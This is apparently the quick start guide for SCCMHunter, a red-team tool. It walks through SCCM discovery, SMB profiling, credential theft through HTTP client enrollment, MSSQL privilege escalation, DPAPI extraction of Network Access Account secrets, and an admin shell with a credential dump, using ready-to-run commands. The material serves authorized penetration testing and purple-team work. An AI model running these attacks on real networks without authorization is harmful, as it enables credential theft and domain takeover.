> ## Documentation Index
> Fetch the complete documentation index at: https://docs.specterops.io/llms.txt
> Use this file to discover all available pages before exploring further.

# Quick Start Guide

> Step-by-step walkthrough for your first SCCM assessment using SCCMHunter, from discovery to exploitation.

This guide walks you through a complete SCCM assessment workflow using SCCMHunter, from initial discovery to exploitation and post-exploitation activities.

> [!NOTE]
>
> This quick start assumes you have already completed the [installation process](https://docs.specterops.io/sccmhunter-docs/getting-started/installation.md) and have valid domain credentials.

## Assessment Workflow

```mermaid theme={null}
graph TD
    A[LDAP Discovery] --> B[SMB Profiling]
    B --> C[Target Analysis]
    C --> D{Attack Vector Selection}
    D --> E[HTTP Exploitation]
    D --> F[MSSQL Attacks]
    D --> G[DPAPI Extraction]
    E --> H[Post-Exploitation]
    F --> H
    G --> H
```

## Step 1: LDAP Discovery

Start by discovering SCCM infrastructure in the target domain:

```bash Basic Discovery theme={null}
python3 sccmhunter.py find -d contoso.com -dc-ip 192.168.1.10 -u lowpriv -p password
```

```bash With Kerberos theme={null}
python3 sccmhunter.py find -d contoso.com -dc-ip 192.168.1.10 -k --no-pass
```

```bash LDAPS with Group Resolution theme={null}
python3 sccmhunter.py find -d contoso.com -dc-ip 192.168.1.10 -u lowpriv -p password -ldaps -resolve
```

> [accordion] Expected Discovery Output
>
> ```text theme={null}
> [+] Beginning SCCM Infrastructure Discovery
> [+] Checking for Schema Extension Objects
>     [+] Found System Management Container
>     [+] DACL Analysis Complete - 3 computers with FullControl
> [+] Checking for Management Points
>     [+] Found Management Point: SCCM01.contoso.com
>     [+] Found Management Point: SCCM02.contoso.com
> [+] Checking for Distribution Points
>     [+] Found PXE-Enabled DP: PXE01.contoso.com
> [+] Keyword Search Results
>     [+] Found 15 objects containing 'SCCM'
>     [+] Found 8 objects containing 'MECM'
> ```

## Step 2: SMB Profiling

Profile the discovered targets to understand their roles and attack surface:

```bash Profile All Targets theme={null}
python3 sccmhunter.py smb -d contoso.com -u lowpriv -p password
```

```bash Profile Specific Targets theme={null}
python3 sccmhunter.py smb -d contoso.com -u lowpriv -p password -targets "SCCM01.contoso.com,SCCM02.contoso.com"
```

```bash Fast Scan Mode theme={null}
python3 sccmhunter.py smb -d contoso.com -u lowpriv -p password -threads 20
```

> [accordion] Expected Profiling Output
>
> ```text theme={null}
> [+] Beginning SMB Profiling
> [+] Target: SCCM01.contoso.com
>     [+] SMB Signing: Disabled
>     [+] SCCM Role: Site Server
>     [+] MSSQL Service: Running
>     [+] SMS Provider: True
>     [+] Default Shares: SMS_DP$, SMS_PKG$
> [+] Target: PXE01.contoso.com
>     [+] SMB Signing: Enabled
>     [+] SCCM Role: Distribution Point
>     [+] PXE Variables: Available
>     [+] Default Shares: REMINST
> ```

## Step 3: Target Analysis

Review the discovery and profiling results to identify attack vectors:

```bash Display Results (JSON) theme={null}
python3 sccmhunter.py show -j results.json
```

```bash Display Results (Neo4j) theme={null}
python3 sccmhunter.py show --neo4j -uri bolt://localhost:7687 -username neo4j -password password
```

```bash Export for Manual Analysis theme={null}
python3 sccmhunter.py show -o targets.csv
```

> [card] Target Prioritization
>
> **High Priority Targets:**
>
> * Site Servers with SMB signing disabled
> * Management Points with exposed HTTP services
> * Distribution Points with PXE variables
> * MSSQL instances with site database access
>
> **Attack Vectors to Consider:**
>
> * HTTP client enrollment for credential theft
> * MSSQL relay attacks for privilege escalation
> * DPAPI extraction from Distribution Points
> * SMB relay attacks against unsigned targets

## Step 4: Exploitation

### Option A: HTTP Client Enrollment

Target HTTP-based client enrollment for credential extraction:

```bash Basic HTTP Attack theme={null}
python3 sccmhunter.py http -d contoso.com -u lowpriv -p password -target SCCM01.contoso.com
```

```bash With Custom User-Agent theme={null}
python3 sccmhunter.py http -d contoso.com -u lowpriv -p password -target SCCM01.contoso.com -agent "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"
```

### Option B: MSSQL Privilege Escalation

Leverage MSSQL access for privilege escalation:

```bash MSSQL Enumeration theme={null}
python3 sccmhunter.py mssql -d contoso.com -u lowpriv -p password -target SCCM01.contoso.com
```

```bash Query Stacking theme={null}
python3 sccmhunter.py mssql -d contoso.com -u lowpriv -p password -target SCCM01.contoso.com -stacked
```

### Option C: DPAPI Secret Extraction

Extract Network Access Account credentials:

```bash WMI-Based Extraction theme={null}
python3 sccmhunter.py dpapi -d contoso.com -u lowpriv -p password -target PXE01.contoso.com
```

```bash Disk-Based Extraction theme={null}
python3 sccmhunter.py dpapi -d contoso.com -u lowpriv -p password -target PXE01.contoso.com -method disk
```

## Step 5: Post-Exploitation

If you've successfully gained administrative access, use the admin module:

```bash Interactive Shell theme={null}
python3 sccmhunter.py admin -u administrator -p newpassword -ip SCCM01.contoso.com
```

```bash Credential Extraction theme={null}
SCCMHunter> get_creds
```

```bash Situational Awareness theme={null}
SCCMHunter> administrators
SCCMHunter> console_users
SCCMHunter> ps
```

## Common Workflows

> [accordion] Red Team Engagement
>
> **Objective**: Gain domain admin through SCCM compromise
>
> 1. **Discovery**: `find` module to map SCCM infrastructure
> 2. **Profiling**: `smb` module to identify attack surface
> 3. **Exploitation**: `http` or `mssql` modules for initial access
> 4. **Escalation**: `admin` module for privilege escalation
> 5. **Persistence**: Create backdoor accounts and maintain access

> [accordion] Penetration Test
>
> **Objective**: Assess SCCM security posture
>
> 1. **Enumeration**: Comprehensive discovery with all modules
> 2. **Vulnerability Assessment**: Identify misconfigurations and weaknesses
> 3. **Proof of Concept**: Demonstrate exploitability without damage
> 4. **Documentation**: Export results for detailed reporting
> 5. **Remediation**: Provide specific hardening recommendations

> [accordion] Purple Team Exercise
>
> **Objective**: Test detection capabilities
>
> 1. **Baseline**: Establish normal SCCM activity patterns
> 2. **Attack Simulation**: Execute controlled attack scenarios
> 3. **Detection Analysis**: Verify security monitoring effectiveness
> 4. **Tuning**: Adjust detection rules and monitoring systems
> 5. **Validation**: Re-test to confirm improved detection

## Troubleshooting Common Issues

> [accordion] Authentication Failures
>
> **Symptoms**: "Authentication failed" or "Access denied" errors
>
> **Solutions**:
>
> * Verify credentials are correct and account is not locked
> * Check domain name format (use FQDN)
> * Try different authentication methods (-k for Kerberos)
> * Ensure network connectivity to domain controller

> [accordion] No SCCM Infrastructure Found
>
> **Symptoms**: Empty results from find module
>
> **Solutions**:
>
> * Verify you're targeting the correct domain
> * Check if SCCM is actually deployed in the environment
> * Try the `-resolve` flag for nested group enumeration
> * Confirm you have appropriate LDAP read permissions

> [accordion] SMB Connection Issues
>
> **Symptoms**: SMB profiling fails or times out
>
> **Solutions**:
>
> * Check SMB signing requirements and compatibility
> * Verify network connectivity and firewall rules
> * Try reducing thread count with `-threads` parameter
> * Use specific target lists instead of broad scanning

## Next Steps

> [card] [LDAP Enumeration](https://docs.specterops.io/sccmhunter-docs/enumeration/find.md)
>
> Deep dive into LDAP discovery techniques and advanced options

> [card] [HTTP Exploitation](https://docs.specterops.io/sccmhunter-docs/exploitation/http.md)
>
> Learn advanced HTTP client enrollment attack techniques

> [card] [MSSQL Attacks](https://docs.specterops.io/sccmhunter-docs/exploitation/mssql.md)
>
> Master MSSQL-based privilege escalation methods

> [card] [Post-Exploitation](https://docs.specterops.io/sccmhunter-docs/post-exploitation/admin-overview.md)
>
> Explore administrative access and lateral movement capabilities

## Best Practices

> [card] Operational Security
>
> * **Test in Labs First**: Always validate techniques in controlled environments
> * **Minimize Impact**: Use read-only operations when possible during assessments
> * **Document Everything**: Maintain detailed logs of activities and findings
> * **Coordinate with Teams**: Communicate with IT and security teams during authorized testing
> * **Clean Up**: Remove any temporary artifacts created during testing


This documentation is built and hosted on [Mintlify](https://mintlify.com), a developer documentation platform.